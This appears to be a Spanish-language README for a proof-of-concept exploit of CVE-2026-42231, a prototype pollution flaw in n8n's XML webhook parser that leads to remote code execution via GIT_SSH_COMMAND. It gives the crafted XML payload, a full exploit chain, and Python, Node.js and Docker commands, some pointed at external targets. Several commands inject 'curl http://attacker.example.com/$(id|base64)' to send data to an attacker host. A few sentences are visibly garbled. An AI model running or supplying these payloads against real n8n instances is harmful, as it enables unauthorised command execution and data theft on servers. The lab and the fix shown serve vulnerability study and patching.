
Prueba de concepto de exploit para CVE-2026-42231, una vulnerabilidad crítica de contaminación de prototipos en los webhooks XML de n8n que conduce a la ejecución remota de código. Incluye laboratorio Docker, PoC en Python y verificador en Node.js.
CVE: CVE-2026-42231
Severidad: Crítica (CVSS 10.0)
Afectados: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Corregido en: n8n 1.123.32 / 2.17.4 / 2.18.1
packages/cli/src/middlewares/body-parser.ts crea un singleton
xml2js Parser a nivel de módulo sin tagNameProcessors ni
attrNameProcessors. Esto permite a un atacante enviar un cuerpo de webhook XML
que contenga un elemento <__proto__>.
xml2js 0.6.2 usa Object.defineProperty con un descriptor de datos para
establecer claves de elementos en objetos analizados. Debido a que siempre es
, envuelve el valor en un array y lo almacena como una
— omitiendo el accessor que
normalmente actualizaría la cadena de prototipos de forma segura.
'__proto__' in objtrueassignOrPush()[[Set]]La propiedad propia __proto__ sobrevive a JSON.stringify (ejecutado cuando n8n
persiste los datos de ejecución en SQLite/PostgreSQL), y después de JSON.parse al
recargar, un posterior Object.assign(target, reloadedBody) redirige
el prototipo de target al objeto controlado por el atacante.
En flujos de trabajo que también contienen un nodo Git que realiza una operación SSH,
el prototipo contaminado expone un valor spawnOptions / GIT_SSH_COMMAND
a simple-git's createInstanceConfig, permitiendo la ejecución de comandos a nivel de sistema operativo.
// packages/cli/src/middlewares/body-parser.ts (VULNERABLE — < 1.123.32)
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true, // convierte etiquetas a minúsculas — pero NO bloquea __proto__
explicitArray: false,
// ← SIN tagNameProcessors
// ← SIN attrNameProcessors
});
Corrección (>= 1.123.32):
function sanitizeXmlName(name: string): string {
const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true,
explicitArray: false,
tagNameProcessors: [sanitizeXmlName],
attrNameProcessors: [sanitizeXmlName],
});
1. El atacante envía un POST XML a un disparador de Webhook público:
POST /webhook/<id> Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<__proto__>
<env GIT_SSH_COMMAND="attacker_cmd"/>
<spawnoptions><shell>true</shell></spawnoptions>
</__proto__>
</root>
2. El analizador de cuerpo xml2js crea req.body.root donde '__proto__' es una
PROPIEDAD DE DATOS ENUMERABLE PROPIA:
Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
→ { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
enumerable: true, writable: true, configurable: true }
3. deepCopy() de n8n itera las claves propias mediante for...in + hasOwnProp.
La asignación clone['__proto__'] = deepCopy(attackerArray)
reemplaza silenciosamente el prototipo de clone mediante el accessor [[Set]].
4. n8n serializa los datos de ejecución a la BD:
JSON.stringify(body.root)
→ '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
La clave __proto__ se incluye porque es propia y enumerable.
Confirmado en la tabla execution_data en SQLite.
5. Al recargar, JSON.parse recrea '__proto__' como una propiedad de datos propia
(objeto plano, sin envoltura de array).
Object.assign(gitOptions, reloadedBody)
redirige el prototipo de gitOptions al objeto controlado por el atacante.
6. Cuando el nodo Git llama a simpleGit(gitOptions):
createInstanceConfig(gitOptions)
lee config.spawnOptions a través de la cadena de prototipos → truthy →
spawnOptionsPlugin se registra.
Con GIT_SSH_COMMAND en el objeto env, git ejecuta el comando del
atacante en la siguiente operación SSH.
normalizeTagsnormalizeTags: true convierte a minúsculas todas las etiquetas XML, por lo que los elementos
hijos como <GIT_SSH_COMMAND> se convierten en git_ssh_command en el objeto analizado.
Para preservar mayúsculas y minúsculas en nombres de variables de entorno, use atributos XML
(los nombres de atributos no se normalizan con normalizeTags):
<env GIT_SSH_COMMAND="attacker_cmd"/>
chmod +x exploit.sh
./exploit.sh setup
Esto descarga n8nio/n8n:1.123.22 (última versión afectada), construye la
imagen del atacante, inicia el objetivo vulnerable en http://localhost:5678,
crea y activa automáticamente un flujo de trabajo de webhook, y guarda la
URL del webhook en .webhook_state.
./exploit.sh setup
Salida esperada (truncada):
[*] Descargando imagen vulnerable de n8n (1.123.22) ...
[*] Construyendo imagen del atacante ...
[*] Iniciando objetivo vulnerable de n8n ...
[*] Esperando a que n8n esté saludable ...
[*] Creando flujo de trabajo de webhook (Webhook → nodo Code) ...
[+] Laboratorio listo.
Ejecute: ./exploit.sh demo # verificar la primitiva de contaminación
./exploit.sh exploit # entregar los tres payloads de RCE
./exploit.sh demo
El PoC envía un payload de verificación y muestra el cuerpo analizado devuelto desde el flujo de trabajo de n8n. Una instancia vulnerable devuelve:
[+] HTTP 200
Response: {"step1_ownEnumerableProto":true,
"step1_descriptor":{"enumerable":true,
"value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
"step2_deepCopySimulated":true,
"step3_jsonRoundTripOwn":true,
"step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
"step4_objectAssignPolluted":true, ...}
./exploit.sh exploit
# o con un comando personalizado:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"
Se entregan tres payloads complementarios:
| Payload | Técnica |
|---|---|
| A | Etiqueta <__proto__> — GIT_SSH_COMMAND como atributo XML |
| B | Cadena <constructor><prototype> |
| C | <__proto__> anidado con atributos env |
GIT_SSH_COMMAND inyectado si el RCE se disparó."step4_objectAssignPolluted": true confirmando la cadena.pip install -r requirements.txt
# Solo verificación — no se requiere nodo Git:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <ruta-del-webhook> \
--demo
# Explotación completa — requiere flujo de trabajo Webhook + Git/SSH:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <ruta-del-webhook> \
--cmd 'curl http://attacker.example.com/$(id|base64)'
En algunas implementaciones n8n registra el webhook como
/webhook/<workflowId>/webhook/<ruta>. Si la forma corta
/webhook/<ruta> devuelve 404, pase el prefijo del workflow-ID como --target:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target "http://n8n.target.com/webhook/<workflowId>" \
--webhook-id <ruta> \
--demo
Reproduce la configuración exacta del analizador xml2js usada por n8n y recorre las cuatro etapas de la cadena:
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js
Salida esperada en configuración vulnerable:
[STEP 1] VULNERABLE — '__proto__' es propiedad de datos enumerable propia
descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
enumerable: true, writable: true, configurable: true }
[STEP 1] El analizador corregido renombró __proto__ a sanitized___proto__
[STEP 2] deepCopy cambió el prototipo → clone proto[1].polluted = "CONFIRMED"
[STEP 3] Después de JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ] Si target se usa como configuración de simpleGit Y el prototipo expone
p. ej. { spawnOptions: { shell: true } }, git se generará a través de un shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (encontrado vía cadena de prototipos)
[ RCE ] simpleGit llamaría: spawnOptionsPlugin(config.spawnOptions)
══ RESULTADO: La instancia usa configuración xml2js VULNERABLE (sin sanitizeXmlName) ══
# Construir la imagen del atacante
docker build -t n8n-proto-pollution-poc .
# Modo demo (se conecta a la red compartida del laboratorio)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--demo
# Explotación completa
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--cmd 'curl http://attacker.example.com/$(id|base64)'
# Contra un objetivo externo (sin necesidad de flag de red)
docker run --rm n8n-proto-pollution-poc \
--target https://n8n.example.com \
--webhook-id <ruta> \
--demo
./exploit.sh clean
Detiene contenedores y elimina volúmenes (incluida la base de datos SQLite).
| Archivo | Descripción |
|---|---|
poc_GHSA-q5f4-99jv-pgg5.py | PoC HTTP independiente en Python — tres variantes de payload XML, modos --demo y --cmd |
verify_GHSA-q5f4-99jv-pgg5.js | Verificador local de cadena en Node.js — recorre las 4 etapas de explotación sin instancia en vivo |
Dockerfile | Imagen del contenedor del atacante |
docker-compose.yml | Laboratorio completo: n8n vulnerable + contenedor del atacante |
exploit.sh | Script auxiliar para configuración, demo, explotación y limpieza |
requirements.txt | Dependencias de Python |